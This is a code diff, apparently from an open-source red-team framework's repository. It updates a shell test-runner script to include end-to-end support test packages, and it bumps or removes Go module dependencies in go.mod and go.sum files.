go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "$pkg" 2>/dev/null || true)"
|
||||
fi
|
||||
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (unsupported on current platform)"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# File discovery intentionally sees tests for every OS. Avoid forcing a
|
||||
# package build when all of its tests are excluded by the current target's
|
||||
# build constraints; those tests remain discoverable on their target OS.
|
||||
if [ "$test_file_counts" = "0 0" ]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (no tests for current platform)"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
@@ -145,7 +155,7 @@ collect_test_dirs() {
|
||||
if command -v rg >/dev/null 2>&1; then
|
||||
rg --files -g '*_test.go'
|
||||
else
|
||||
find client implant server util -type f -name '*_test.go' -print
|
||||
find client implant server test util -type f -name '*_test.go' -print
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -169,6 +179,7 @@ done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
|
||||
CLIENT_TEST_PKGS=()
|
||||
IMPLANT_TEST_PKGS=()
|
||||
SERVER_UTIL_TEST_PKGS=()
|
||||
E2E_SUPPORT_TEST_PKGS=()
|
||||
|
||||
for test_dir in "${TEST_DIRS[@]}"; do
|
||||
pkg="./$test_dir"
|
||||
@@ -185,6 +196,9 @@ for test_dir in "${TEST_DIRS[@]}"; do
|
||||
./server/* | ./util*)
|
||||
SERVER_UTIL_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./test/e2e | ./test/e2e/*)
|
||||
E2E_SUPPORT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
@@ -196,6 +210,15 @@ for pkg in "${CLIENT_TEST_PKGS[@]}"; do
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Comprehensive E2E support packages. The top-level lifecycle test skips
|
||||
## unless a server binary is supplied; coverage/report unit tests run here.
|
||||
for pkg in "${E2E_SUPPORT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "client,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Implant
|
||||
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg"; then
|
||||
|
||||
@@ -12,11 +12,10 @@ require (
|
||||
charm.land/bubbles/v2 v2.0.0
|
||||
charm.land/glamour/v2 v2.0.1
|
||||
charm.land/huh/v2 v2.0.3
|
||||
charm.land/lipgloss/v2 v2.0.4
|
||||
charm.land/lipgloss/v2 v2.0.6
|
||||
filippo.io/age v1.3.1
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/SherClockHolmes/webpush-go v1.4.0
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
@@ -24,6 +23,7 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.7
|
||||
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
|
||||
github.com/chromedp/chromedp v0.14.1
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.4
|
||||
@@ -31,7 +31,7 @@ require (
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.4
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -49,7 +49,7 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.4
|
||||
github.com/sliverarmory/beignet v0.0.3
|
||||
github.com/sliverarmory/malasada v0.0.3
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.6
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
@@ -63,7 +63,7 @@ require (
|
||||
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa
|
||||
golang.org/x/mod v0.37.0
|
||||
golang.org/x/net v0.56.0
|
||||
golang.org/x/sys v0.46.0
|
||||
golang.org/x/sys v0.47.0
|
||||
golang.org/x/term v0.44.0
|
||||
golang.org/x/text v0.40.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
|
||||
@@ -126,7 +126,7 @@ require (
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/charmbracelet/harmonica v0.2.0 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 // indirect
|
||||
github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect
|
||||
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 // indirect
|
||||
github.com/charmbracelet/x/termios v0.1.1 // indirect
|
||||
@@ -232,8 +232,6 @@ require (
|
||||
github.com/akutz/memconn v0.1.0 // indirect
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
|
||||
github.com/atotto/clipboard v0.1.4
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 // indirect
|
||||
@@ -241,7 +239,7 @@ require (
|
||||
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
|
||||
github.com/catppuccin/go v0.3.0 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.4.3
|
||||
github.com/charmbracelet/x/ansi v0.11.7
|
||||
github.com/charmbracelet/x/ansi v0.11.8
|
||||
github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.2 // indirect
|
||||
@@ -281,12 +279,12 @@ require (
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mark3labs/mcp-go v0.45.0
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.23 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.24 // indirect
|
||||
github.com/mdlayher/netlink v1.8.0 // indirect
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
|
||||
@@ -12,8 +12,8 @@ charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c=
|
||||
charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k=
|
||||
charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU=
|
||||
charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc=
|
||||
charm.land/lipgloss/v2 v2.0.4 h1:lcPeVtcp23SNra7lHy8iYE4UC2aIipVQ47sbGyyxR5Q=
|
||||
charm.land/lipgloss/v2 v2.0.4/go.mod h1:0653x8epbZSzdDfO/XPS1a/uYPOBeSsCssOpJOqDzik=
|
||||
charm.land/lipgloss/v2 v2.0.6 h1:EaGKeuA8FvF+v2BT5VmZd2LoYLaMZJXA5n34th8nCIQ=
|
||||
charm.land/lipgloss/v2 v2.0.6/go.mod h1:ipDDJNSGa1hlwDtSfW1s2/xR8Vdhbut4PXh2zEKZd0Q=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||
@@ -49,14 +49,11 @@ firebase.google.com/go/v4 v4.18.0 h1:S+g0P72oDGqOaG4wlLErX3zQmU9plVdu7j+Bc3R1qFw
|
||||
firebase.google.com/go/v4 v4.18.0/go.mod h1:P7UfBpzc8+Z3MckX79+zsWzKVfpGryr6HLbAe7gCWfs=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
@@ -114,10 +111,6 @@ github.com/atc0005/go-teams-notify/v2 v2.14.0 h1:7N+xw+COnYANLREaAveQ65rsNQ12nIZ
|
||||
github.com/atc0005/go-teams-notify/v2 v2.14.0/go.mod h1:EECsWM2b0Hvoz7O+QdlsvyN2KCUOFQCGj8bUBXv3A3Q=
|
||||
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
|
||||
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
|
||||
@@ -186,10 +179,10 @@ github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex
|
||||
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
|
||||
github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ=
|
||||
github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
|
||||
github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI=
|
||||
github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 h1:rdnVWKgJpTVXKuKuJyxDJ+NFJdUaUqGvyGy61OcvlbA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886/go.mod h1:nAw0d9PhFp1qdzi2xhQU5YOu5sVpDIHWlaW2Uz/bCro=
|
||||
github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ=
|
||||
github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0=
|
||||
github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs=
|
||||
github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk=
|
||||
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
|
||||
@@ -274,6 +267,8 @@ github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPR
|
||||
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -462,8 +457,8 @@ github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFr
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
|
||||
github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3 h1:yVSk5aemoYHCvcrtqyXklwqcgHQIQzmy/oUzFlmffSQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
|
||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||
@@ -521,8 +516,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1 h1:1EO+WB73+EH8EVbzlrG3KLAfEypQWVHIBqlTf+2hNss=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
|
||||
@@ -543,8 +538,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw=
|
||||
github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU=
|
||||
github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
@@ -678,8 +673,8 @@ github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKC
|
||||
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
|
||||
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.6 h1:iW492LhJ6yeG3u647mJgyhdTbjrZZNnw8bks4UxIL1s=
|
||||
github.com/sliverarmory/reflektor v0.0.6/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
@@ -927,7 +922,6 @@ golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -945,8 +939,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
|
||||
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
|
||||
+2
-5
@@ -4,14 +4,14 @@ go 1.26.6
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.6
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.4
|
||||
@@ -25,11 +25,8 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.6.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
|
||||
+4
-12
@@ -1,22 +1,16 @@
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
